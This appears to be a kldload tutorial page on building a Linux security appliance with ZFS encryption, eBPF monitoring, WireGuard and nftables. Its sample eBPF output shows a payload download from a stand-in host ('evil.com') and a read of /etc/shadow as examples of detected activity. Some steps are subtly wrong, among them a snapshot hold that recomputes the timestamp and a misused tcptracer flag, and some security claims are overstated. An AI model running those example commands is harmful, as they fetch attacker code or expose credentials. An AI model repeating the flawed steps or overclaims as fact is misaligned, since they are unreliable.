| pick your distro, get ZFS on root
kldload — your platform, your way, free
Source
← Back to Overview

Security Appliance — every packet is watched, every file is encrypted, every change is logged.

A security appliance isn't a product you buy — it's a set of capabilities you configure. eBPF gives you kernel-level visibility without kernel modules. WireGuard encrypts your traffic with a config file, not a GUI. nftables gives you stateful firewalling with readable rules. And ZFS encryption means every dataset is encrypted at rest with keys you control. No agents. No subscriptions. Just the kernel doing what it already knows how to do.

On ext4, you cannot detect silent data tampering at the filesystem level — a modified binary has the same inode metadata as the original. ZFS checksums every block on every read. Snapshot the known-good state of the appliance, and you can verify the live system against it at any time — if a single byte has changed, ZFS knows. WireGuard encrypts the backhaul between appliances with kernel-level performance, no userspace SSL stack to exploit. eBPF hooks see every syscall, every connection, every file open at the kernel level — no agent process for an attacker to kill. The security stack is the kernel itself.

Why kernel-level security changes everything for appliances:

Traditional security appliances run userland daemons. Suricata, Snort, OSSEC, Wazuh — they're processes. Processes can be killed. A sophisticated attacker's first move is disabling the security agent. On kldload, eBPF hooks are in the kernel. They can't be killed from userspace. An attacker who compromises a service can't disable the tracing because the tracing isn't a service — it's a kernel facility. The attacker would need to compromise the kernel itself, which is signed and verified at boot.

Integrity verification becomes trivial. Snapshot the appliance in its known-good state: zfs snapshot rpool/ROOT/appliance@golden. At any time, compare the live system against the golden snapshot: zfs diff rpool/ROOT/appliance@golden. Every file that changed, every file that was added or removed — listed instantly. This replaces AIDE, Tripwire, and every file integrity monitoring tool. The filesystem does it natively. No database of hashes to maintain. No agent to run. No scan that takes hours. zfs diff is instant because ZFS already knows which blocks changed.

The appliance replicates its own audit trail. Security logs live on rpool/srv/logs — a separate encrypted dataset. The attacker can't delete them without the encryption key for that specific dataset. zfs send -w rpool/srv/logs@hourly | ssh siem zfs recv replicates the logs to a remote SIEM as encrypted blocks. The attacker can't tamper with the replicated copy because it left the machine as ciphertext. The SIEM has a verified, checksummed, encrypted copy of every log. Forensics-grade evidence from a filesystem primitive.

The recipe

Step 1: Encrypted ZFS — per-dataset keys

# Create encrypted datasets — each with its own key
zfs create -o encryption=aes-256-gcm -o keyformat=passphrase \
    -o keylocation=prompt rpool/srv/secure

# Or use a keyfile for automated unlock
dd if=/dev/urandom of=/root/.zfs-keys/logs.key bs=32 count=1
chmod 600 /root/.zfs-keys/logs.key

zfs create -o encryption=aes-256-gcm -o keyformat=raw \
    -o keylocation=file:///root/.zfs-keys/logs.key rpool/srv/secure/logs

# Create separate encrypted datasets for different security zones
zfs create -o encryption=aes-256-gcm -o keyformat=passphrase \
    rpool/srv/secure/evidence
zfs create -o encryption=aes-256-gcm -o keyformat=passphrase \
    rpool/srv/secure/audit

# Lock a dataset when not in use — data is inaccessible
zfs unmount rpool/srv/secure/evidence
zfs unload-key rpool/srv/secure/evidence

# Unlock when needed
zfs load-key rpool/srv/secure/evidence
zfs mount rpool/srv/secure/evidence
Each dataset is a separate vault with its own combination. Lock the vault, and not even root can read the data without the key. Disk stolen? Useless without the keys.

Step 2: eBPF intrusion detection

# Install bcc-tools (eBPF-based observability)
kpkg install bcc-tools

# Watch every process execution in real time
execsnoop-bpfcc
# PCOMM   PID    PPID   RET ARGS
# bash    4521   4520     0 /bin/bash
# curl    4522   4521     0 /usr/bin/curl http://evil.com/payload
# ^^^ caught. No process runs without you seeing it.

# Monitor all TCP connections
tcplife-bpfcc
# PID   COMM     LADDR           LPORT RADDR           RPORT TX_KB RX_KB MS
# 4522  curl     10.0.0.5        43210 93.184.216.34   443   0     12    340

# Watch every file open
opensnoop-bpfcc
# PID   COMM        FD ERR PATH
# 4523  cat          3   0 /etc/shadow
# ^^^ someone is reading the shadow file. Alert.

# Log all DNS queries
tcptracer-bpfcc -p 53
eBPF hooks directly into the kernel. No userspace agent to bypass, no signatures to update. It sees every syscall, every connection, every file access — at wire speed.

Step 3: Persistent eBPF logging

# Run execsnoop as a service, log to the encrypted dataset
cat > /etc/systemd/system/execsnoop-logger.service <<'UNIT'
[Unit]
Description=eBPF process execution logger
After=network.target

[Service]
ExecStart=/bin/bash -c 'execsnoop-bpfcc -T >> /srv/secure/logs/execsnoop.log 2>&1'
Restart=always
RestartSec=5

[Install]
WantedBy=multi-user.target
UNIT

# Same for TCP connection logging
cat > /etc/systemd/system/tcplife-logger.service <<'UNIT'
[Unit]
Description=eBPF TCP connection logger
After=network.target

[Service]
ExecStart=/bin/bash -c 'tcplife-bpfcc -T >> /srv/secure/logs/tcplife.log 2>&1'
Restart=always
RestartSec=5

[Install]
WantedBy=multi-user.target
UNIT

systemctl enable --now execsnoop-logger tcplife-logger

# Snapshot the logs hourly for tamper-proof audit trail
cat > /etc/cron.d/security-snapshots <<'CRON'
0 * * * * root zfs snapshot rpool/srv/secure/logs@hourly-$(date +\%Y\%m\%d-\%H\%M)
CRON
Logs are written to an encrypted dataset and snapshotted hourly. An attacker who compromises the system can't delete past snapshots without destroying the pool. The audit trail survives.

Step 4: WireGuard tunnel for all traffic

# Generate keys
wg genkey | tee /srv/secure/vpn/private.key | wg pubkey > /srv/secure/vpn/public.key
chmod 600 /srv/secure/vpn/private.key

# Configure WireGuard — route ALL traffic through the tunnel
cat > /etc/wireguard/wg-secure.conf <<'WG'
[Interface]
PrivateKey = YOUR_PRIVATE_KEY
Address = 10.100.0.2/24
DNS = 10.100.0.1

# Route everything through the tunnel
PostUp = nft add rule inet filter forward iifname != "wg-secure" drop
PostDown = nft delete rule inet filter forward handle $(nft -a list chain inet filter forward | grep 'iifname != "wg-secure"' | awk '{print $NF}')

[Peer]
PublicKey = VPN_SERVER_PUBLIC_KEY
Endpoint = vpn.secure.example.com:51820
AllowedIPs = 0.0.0.0/0, ::/0
PersistentKeepalive = 25
WG

systemctl enable --now wg-quick@wg-secure

Step 5: nftables firewall with per-interface rules

# Define a strict firewall ruleset
cat > /etc/nftables.conf <<'NFT'
#!/usr/sbin/nft -f
flush ruleset

table inet filter {
    chain input {
        type filter hook input priority 0; policy drop;

        # Allow established connections
        ct state established,related accept
        ct state invalid drop

        # Allow loopback
        iifname "lo" accept

        # Allow WireGuard
        iifname "wg-secure" accept

        # Allow SSH only from management network
        tcp dport 22 ip saddr 10.100.0.0/24 accept

        # Allow ICMP for diagnostics
        ip protocol icmp icmp type { echo-request, echo-reply } accept

        # Log and drop everything else
        log prefix "nftables-drop: " counter drop
    }

    chain forward {
        type filter hook forward priority 0; policy drop;
    }

    chain output {
        type filter hook output priority 0; policy accept;

        # Only allow DNS to our resolver
        tcp dport 53 ip daddr != 10.100.0.1 drop
        udp dport 53 ip daddr != 10.100.0.1 drop
    }
}
NFT

systemctl enable --now nftables

# Verify the rules
nft list ruleset
Default deny. Everything is blocked unless explicitly allowed. SSH only from the management network. DNS only to your resolver. Every dropped packet is logged.

Step 6: Immutable snapshots for forensic preservation

# When you detect an incident, freeze the evidence
zfs snapshot -r rpool@incident-$(date +%Y%m%d-%H%M%S)

# Set a hold so the snapshot can't be accidentally destroyed
zfs hold forensic rpool@incident-$(date +%Y%m%d-%H%M%S)

# The entire filesystem state is now preserved
# Ship it to your forensics team
zfs send -R rpool@incident-20260323-140532 | \
    ssh forensics-server "zfs recv -F tank/evidence/incident-20260323"

# The forensics team gets an exact byte-for-byte copy
# of every file, every log, every artifact — as it existed
# at the moment you took the snapshot

Defense in depth

Encryption at rest

Every dataset encrypted with AES-256-GCM. Per-dataset keys. Lock datasets when not in use. Disk theft is a non-event.

Kernel-level visibility

eBPF sees every process, every connection, every file open. No agent to disable, no signature to evade. The kernel is the sensor.

Encrypted transit

WireGuard tunnels all traffic. Every packet is authenticated and encrypted. No cleartext leaves the machine.

Tamper-proof audit trail

Logs go to encrypted datasets. Hourly snapshots preserve the audit trail. An attacker can't rewrite history without destroying the pool.